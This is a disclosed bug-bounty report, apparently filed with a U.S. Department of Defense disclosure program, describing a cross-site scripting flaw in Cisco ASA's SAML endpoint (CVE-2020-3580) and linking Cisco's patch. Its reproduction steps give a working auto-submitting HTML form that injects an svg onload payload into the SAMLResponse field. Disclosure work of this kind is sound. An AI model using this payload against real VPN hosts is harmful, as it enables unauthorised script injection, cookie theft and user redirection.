U.S. Dept Of Defense · Report #1606068
XSS DUE TO CVE-2020-3580
Validstatus
mediumseverity
4upvotes
6 Sept 2022disclosed
How it was found
Hello Team, During my research, I found multiple hosts to be vulnerable to Cisco ASA XSS CVE-2020-3580, This vulnerability targets the saml service within the VPN. It is triggered via a POST request to domain/+CSCOE+/saml/sp/acs?tgname=a
References
Impact
With this vulnerability, an attacker can for example steal users cookies or redirect users on malicious website.
System Host(s)
█████
Affected Product(s) and Version(s)
Cisco ASA
CVE Numbers
CVE-2020-3580
Steps to Reproduce
<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://████/+CSCOE+/saml/sp/acs?tgname=a" method="POST"> <input type="hidden" name="SAMLResponse" value=""><svg/onload=alert('XSS')>" /> <input type="hidden" name="" value="" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>Suggested Mitigation/Remediation Actions
Patch Cisco ASA : https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe